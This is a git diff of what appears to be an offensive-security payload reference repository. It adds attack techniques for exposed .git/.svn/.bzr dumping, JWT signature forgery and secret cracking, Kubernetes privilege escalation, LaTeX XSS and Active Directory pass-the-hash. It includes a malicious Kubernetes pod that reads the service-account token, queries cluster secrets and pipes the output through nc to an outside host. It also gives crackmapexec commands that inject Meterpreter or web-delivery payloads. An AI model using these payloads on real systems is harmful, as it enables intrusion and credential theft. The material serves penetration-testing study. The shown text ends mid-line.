balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty) * [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/) +* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782) \ No newline at end of file diff --git a/Insecure management interface/Intruder/springboot_actuator.txt b/Insecure Management Interface/Intruder/springboot_actuator.txt similarity index 100% rename from Insecure management interface/Intruder/springboot_actuator.txt rename to Insecure Management Interface/Intruder/springboot_actuator.txt diff --git a/Insecure management interface/README.md b/Insecure Management Interface/README.md similarity index 100% rename from Insecure management interface/README.md rename to Insecure Management Interface/README.md diff --git a/Insecure source code management/README.md b/Insecure Source Code Management/README.md similarity index 76% rename from Insecure source code management/README.md rename to Insecure Source Code Management/README.md index 53c8b09bd9..0e9474952f 100644 --- a/Insecure source code management/README.md +++ b/Insecure Source Code Management/README.md @@ -2,7 +2,9 @@ - [GIT - Source code management](#git---source-code-management) - [Github example with a .git](#github-example-with-a-git) + - [Recovering the content of .git/index](#recovering-the-content-of-gitindex) - [Automatic way : diggit.py](#automatic-way--diggitpy) + - [Automatic way : GoGitDumper](#automatic-way-gogitdumper) - [Automatic way : rip-git](#automatic-way--rip-git) - [Automatic way : GitHack](#automatic-way--githack) - [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog) @@ -11,6 +13,10 @@ - [SVN - Source code management](#svn---source-code-management) - [SVN example (Wordpress)](#svn-example-wordpress) - [Automatic way : svn-extractor](#automatic-way--svn-extractor) +- [BAZAAR - Source code management](#bazaar---source-code-management) + - [Automatic way : rip-bzr](#automatic-way--rip-bzr) + - [Automatic way : bzr_dumper](#automatic-way--bzr_dumper) +- [Leaked API keys](#leaked-api-keys) ## GIT - Source code management @@ -72,6 +78,28 @@ Check for the following files, if they exist you can extract the .git folder. git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f ``` +### Recovering the content of .git/index + +Use the git index file parser, using python3 https://pypi.python.org/pypi/gin + +```powershell +pip3 install gin +gin ~/git-repo/.git/index +``` + +Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file. + +```powershell +$ gin .git/index | egrep -e "name|sha1" +name = AWS Amazon Bucket S3/README.md +sha1 = 862a3e58d138d6809405aa062249487bee074b98 + +name = CRLF injection/README.md +sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 +``` + + + ### Automatic way : diggit.py ```powershell @@ -83,6 +111,15 @@ Check for the following files, if they exist you can extract the .git folder. -o is a hash of particular Git object to download ``` +### Automatic way : GoGitDumper + +```powershell +go get github.com/c-sto/gogitdumper +gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/ +git log +git checkout +``` + ### Automatic way : rip-git ```powershell @@ -167,6 +204,50 @@ git clone https://github.com/anantshri/svn-extractor.git python svn-extractor.py –url "url with .svn available" ``` +## BAZAAR - Source code management + +### Automatic way : rip-bzr.pl + +```powershell +wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl +docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u +``` + +### Automatic way : bzr_dumper + +```powershell +git clone https://github.com/SeahunOh/bzr_dumper +python3 dumper.py -u "http://127.0.0.1:5000/" -o source +Created a standalone tree (format: 2a) +[!] Target : http://127.0.0.1:5000/ +[+] Start. +[+] GET repository/pack-names +[+] GET README +[+] GET checkout/dirstate +[+] GET checkout/views +[+] GET branch/branch.conf +[+] GET branch/format +[+] GET branch/last-revision +[+] GET branch/tag +[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1' +[*] Finish + +$ bzr revert + N application.py + N database.py + N static/ +``` + +## Leaked API keys + +If you find any key , use the [keyhacks](https://github.com/streaak/keyhacks) from @streaak to verifiy them. + +Twilio example : + +```powershell +curl -X GET 'https://api.twilio.com/2010-04-01/Accounts/ACCOUNT_SID/Keys.json' -u ACCOUNT_SID:AUTH_TOKEN +``` + ## References - [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) diff --git a/JSON Web Token/README.md b/JSON Web Token/README.md index 5bd75f6730..a6fb080853 100644 --- a/JSON Web Token/README.md +++ b/JSON Web Token/README.md @@ -4,10 +4,21 @@ ## Summary -- JWT Format -- JWT Signature - None algorithm -- JWT Signature - RS256 to HS256 -- Breaking JWT's secret +- [Tools](#tools) +- [JWT Format](#jwt-format) +- [JWT Signature - None algorithm](#jwt-signature---none-algorithm) +- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256) +- [Breaking JWT's secret](#breaking-jwts-secret) + - [JWT Tool](#jwt-tool) + - [JWT cracker](#jwt-cracker) + - [Hashcat](#hashcat) +- [References](#references) + +## Tools + +- [jwt_tool](https://github.com/ticarpi/jwt_tool) +- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) +- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) ## JWT Format @@ -15,10 +26,18 @@ JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)` Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY` +Where we can split it into 3 components separated by a dot. + +```powershell +eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header +eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload +UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature +``` + ### Header Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). -"RS256" is used for asymetric purposes (RSA asymmetric encryption and private key signature). +"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature). ```json { @@ -27,6 +46,24 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). } ``` +| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements | +|---|---|---| +| HS256 | HMAC using SHA-256 | Required | +| HS384 | HMAC using SHA-384 | Optional | +| HS512 | HMAC using SHA-512 | Optional | +| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended | +| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional | +| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional | +| ES256 | ECDSA using P-256 and SHA-256 | Recommended | +| ES384 | ECDSA using P-384 and SHA-384 | Optional | +| ES512 | ECDSA using P-521 and SHA-512 | Optional | +| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional | +| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional | +| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional | +| none | No digital signature or MAC performed | Required | + + + ### Payload ```json @@ -38,12 +75,27 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). } ``` +Claims are the predefined keys and their values: +- iss: issuer of the token +- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. +- iat: The time the JWT was issued. Can be used to determine the age of the JWT +- nbf: "not before" is a future time when the token will become active. +- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed. +- sub: subject of the token (rarely used) +- aud: audience of the token (also rarely used) + JWT Encoder – Decoder: `http://jsonwebtoken.io` ## JWT Signature - None algorithm JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application. +None algorithm variants: +* none +* None +* NONE +* nOnE + To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature @@ -95,9 +147,37 @@ print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256') ``` -Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version +:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`. + +Here are the steps to edit an RS256 JWT token into an HS256 + +1. Convert our public key (key.pem) into HEX with this command. + + ```powershell + $ cat key.pem | xxd -p | tr -d "\\n" + 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a + ``` + +2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited. + + ```powershell + $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a + + (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0 + ``` + +3. Convert signature (Hex to "base64 URL") + + ```powershell + $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" + ``` + +4. Add signature to edited payload -`pip install pyjwt==0.4.3`. + ```powershell + [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] + eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA + ``` ## Breaking JWT's secret @@ -116,9 +196,66 @@ jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the se ### JWT tool -```bash +First, bruteforce the "secret" key used to compute the signature. + +```powershell git clone https://github.com/ticarpi/jwt_tool -python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw /usr/share/wordlists/rockyou.txt +python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist + +Token header values: +[+] alg = HS256 +[+] typ = JWT + +Token payload values: +[+] sub = 1234567890 +[+] role = user +[+] iat = 1516239022 + +File loaded: /tmp/wordlist +Testing 5 passwords... +[+] secret is the CORRECT key! +``` + +Then edit the field inside the JSON Web Token. + +```powershell +Current value of role is: user +Please enter new value and hit ENTER +> admin +[1] sub = 1234567890 +[2] role = admin +[3] iat = 1516239022 +[0] Continue to next step + +Please select a field number: +(or 0 to Continue) +> 0 +``` + +Finally, finish the token by signing it with the previously retrieved "secret" key. + +```powershell +Token Signing: +[1] Sign token with known key +[2] Strip signature from token vulnerable to CVE-2015-2951 +[3] Sign with Public Key bypass vulnerability +[4] Sign token with key file + +Please select an option from above (1-4): +> 1 + +Please enter the known key: +> secret + +Please enter the keylength: +[1] HMAC-SHA256 +[2] HMAC-SHA384 +[3] HMAC-SHA512 +> 1 + +Your new forged token: +[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic +[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic ``` ### JWT cracker @@ -131,7 +268,7 @@ Secret is "Sn1f" ### Hashcat -> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065) +> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065) ```bash /hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a @@ -147,3 +284,10 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) - [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/) - [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//) +- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens) +- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) +- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) +- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) +- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) +- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/) +- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/) \ No newline at end of file diff --git a/Kubernetes/readme.md b/Kubernetes/readme.md new file mode 100644 index 0000000000..d409dc00b4 --- /dev/null +++ b/Kubernetes/readme.md @@ -0,0 +1,191 @@ +# Kubernetes + +> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation. + +## Summary + +- [Tools](#tools) +- [RBAC Configuration](#rbac-configuration) + - [Listing Secrets](#listing-secrets) + - [Access Any Resource or Verb](#access-any-resource-or-verb) + - [Pod Creation](#pod-creation) + - [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec) + - [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings) + - [Impersonating a Privileged Account](#impersonating-a-privileged-account) +- [Privileged Service Account Token](#privileged-service-account-token) +- [Interesting endpoints to reach](#interesting-endpoints-to-reach) +- [API addresses that you should know](#api-adresses-that-you-should-know) +- [References](#references) + +## Tools + +* [kubeaudit](https://github.com/Shopify/kubeaudit). kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ... +* [kubesec.io](https://kubesec.io/). Security risk analysis for Kubernetes resources. +* [kube-bench](https://github.com/aquasecurity/kube-bench). kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/). + +* [katacoda](https://katacoda.com/courses/kubernetes). Learn Kubernetes using interactive broser-based scenarios. + +## RBAC Configuration + +### Listing Secrets + +An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace. + +```powershell +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ +``` + +### Access Any Resource or Verb + +```powershell +resources: +- '*' +verbs: +- '*' +``` + +### Pod Creation + +Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. +Then create a malicious pod.yaml file. + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: alpine + namespace: kube-system +spec: + containers: + - name: alpine + image: alpine + command: ["/bin/sh"] + args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] + serviceAccountName: bootstrap-signer + automountServiceAccountToken: true + hostNetwork: true +``` + +Then `kubectl apply -f malicious-pod.yaml` + +### Privilege to Use Pods/Exec + +```powershell +kubectl exec -it -n –- sh +``` + +### Privilege to Get/Patch Rolebindings + +The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. +Create a malicious RoleBinging.json file. + +```powershell +{ + "apiVersion": "rbac.authorization.k8s.io/v1", + "kind": "RoleBinding", + "metadata": { + "name": "malicious-rolebinding", + "namespcaes": "default" + }, + "roleRef": { + "apiGroup": "*", + "kind": "ClusterRole", + "name": "admin" + }, + "subjects": [ + { + "kind": "ServiceAccount", + "name": "sa-comp" + "namespace": "default" + } + ] +} +``` + +```powershell +curl -k -v -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json +curl -k -v -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" https://:/api/v1/namespaces/kube-system/secret +``` + +### Impersonating a Privileged Account + +```powershell +curl -k -v -XGET -H "Authorization: Bearer " -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://:/api/v1/namespaces/kube-system/secrets/ +``` + +## Privileged Service Account Token + +```powershell +$ cat /run/secrets/kubernetes.io/serviceaccount/token +$ curl -k -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/secrets/ +``` + +## Interesting endpoints to reach + +```powershell +# List Pods +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/pods/ + +# List secrets +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/default/secrets/ + +# List deployments +curl -v -H "Authorization: Bearer " https:///apis/extensions/v1beta1/namespaces/default/deployments + +# List daemonsets +curl -v -H "Authorization: Bearer " https:///apis/extensions/v1beta1/namespaces/default/daemonsets +``` + + +## API addresses that you should know + +*(External network visibility)* + +### cAdvisor + +```powershell +curl -k https://:4194 +``` + +### Insecure API server + +```powershell +curl -k https://:8080 +``` + +### Secure API Server + +```powershell +curl -k https://:(8|6)443/swaggerapi +curl -k https://:(8|6)443/healthz +curl -k https://:(8|6)443/api/v1 +``` + +### etcd API + +```powershell +curl -k https://:2379 +curl -k https://:2379/version +etcdctl --endpoints=http://:2379 get / --prefix --keys-only +``` + +### Kubelet API + +```powershell +curl -k https://:10250 +curl -k https://:10250/metrics +curl -k https://:10250/pods +``` + +### kubelet (Read only) + +```powershell +curl -k https://:10255 +http://:10255/pods +``` + + +## References + +- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1) +- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2) \ No newline at end of file diff --git a/LDAP injection/Intruder/LDAP_FUZZ.txt b/LDAP Injection/Intruder/LDAP_FUZZ.txt similarity index 100% rename from LDAP injection/Intruder/LDAP_FUZZ.txt rename to LDAP Injection/Intruder/LDAP_FUZZ.txt diff --git a/LDAP injection/Intruder/LDAP_attributes.txt b/LDAP Injection/Intruder/LDAP_attributes.txt similarity index 100% rename from LDAP injection/Intruder/LDAP_attributes.txt rename to LDAP Injection/Intruder/LDAP_attributes.txt diff --git a/LDAP injection/README.md b/LDAP Injection/README.md similarity index 100% rename from LDAP injection/README.md rename to LDAP Injection/README.md diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000..a4a1a0d99c --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Swissky + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/LaTeX injection/README.md b/LaTeX Injection/README.md similarity index 82% rename from LaTeX injection/README.md rename to LaTeX Injection/README.md index 6a02010fb7..5cce2b7acd 100644 --- a/LaTeX injection/README.md +++ b/LaTeX Injection/README.md @@ -66,6 +66,16 @@ If you get any LaTex error, consider using base64 to get the result without bad \input{|"/bin/hostname"} ``` +## Cross Site Scripting + +From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) +```bash +\url{javascript:alert(1)} +\href{javascript:alert(1)}{placeholder} +``` + +Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$` + ## References * [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index 289fd200b9..708add1478 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -2,28 +2,67 @@ ## Summary -* [Tools](#tools) -* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) - * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) - * [Open Shares](#open-shares) - * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol) - * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit) - * [Password in AD User comment](#password-in-ad-user-comment) - * [Golden Tickets](#passtheticket-golden-tickets) - * [Silver Tickets](#passtheticket-silver-tickets) - * [Trust Tickets](#trust-tickets) - * [Kerberoast](#kerberoast) - * [Pass-the-Hash](#pass-the-hash) - * [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) - * [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes) - * [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying) - * [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) - * [Trust relationship between domains](#trust-relationship-between-domains) -* [Privilege Escalation](#privilege-escalation) - * [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato) - * [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) - * [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue) - * [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin) +- [Active Directory Attacks](#active-directory-attacks) + - [Summary](#summary) + - [Tools](#tools) + - [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) + - [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) + - [Open Shares](#open-shares) + - [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share) + - [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences) + - [Dumping AD Domain Credentials](#dumping-ad-domain-credentials) + - [Using ndtsutil](#using-ndtsutil) + - [Using Vshadow](#using-vshadow) + - [Using vssadmin](#using-vssadmin) + - [Using DiskShadow (a Windows signed binary)](#using-diskshadow-a-windows-signed-binary) + - [Using esentutl.exe](#using-esentutlexe) + - [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit) + - [Alternatives - modules](#alternatives---modules) + - [Using Mimikatz DCSync](#using-mimikatz-dcsync) + - [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa) + - [Password spraying](#password-spraying) + - [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing) + - [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list) + - [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service) + - [Password in AD User comment](#password-in-ad-user-comment) + - [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets) + - [Using Mimikatz](#using-mimikatz) + - [Using Meterpreter](#using-meterpreter) + - [Using a ticket on Linux](#using-a-ticket-on-linux) + - [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets) + - [Kerberoasting](#kerberoasting) + - [KRB_AS_REP Roasting](#krbasrep-roasting) + - [Pass-the-Hash](#pass-the-hash) + - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) + - [Using impacket](#using-impacket) + - [Using Rubeus](#using-rubeus) + - [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes) + - [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying) + - [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection) + - [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4) + - [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6) + - [Drop the MIC](#drop-the-mic) + - [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384) + - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) + - [Trust relationship between domains](#trust-relationship-between-domains) + - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking) + - [Unconstrained delegation](#unconstrained-delegation) + - [Find delegation](#find-delegation) + - [Monitor with Rubeus](#monitor-with-rubeus) + - [Force a connect back from the DC](#force-a-connect-back-from-the-dc) + - [Load the ticket](#load-the-ticket) + - [Mitigation](#mitigation) + - [Resource-Based Constrained Delegation](#resource-based-constrained-delegation) + - [Relay delegation with mitm6](#relay-delegation-with-mitm6) + - [PrivExchange attack](#privexchange-attack) + - [PXE Boot image attack](#pxe-boot-image-attack) + - [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect) + - [Linux Active Directory](#linux-active-directory) + - [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp) + - [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring) + - [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab) + - [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab) + - [References](#references) ## Tools @@ -40,25 +79,44 @@ ./bloodhound SharpHound.exe (from resources/Ingestor) SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100 + SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --domaincontroller 10.10.10.100 or Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public + or + bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all ``` * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) ```bash + apt-get install -y libssl-dev libffi-dev python-dev build-essential git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec crackmapexec smb -L crackmapexec smb -M name_module -o VAR=DATA - crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares - crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable - crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 - crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" - crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' + crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth + crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares + crackmapexec 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher + crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable + crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 + crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" + crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' + crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz crackmapexec mimikatz --server http 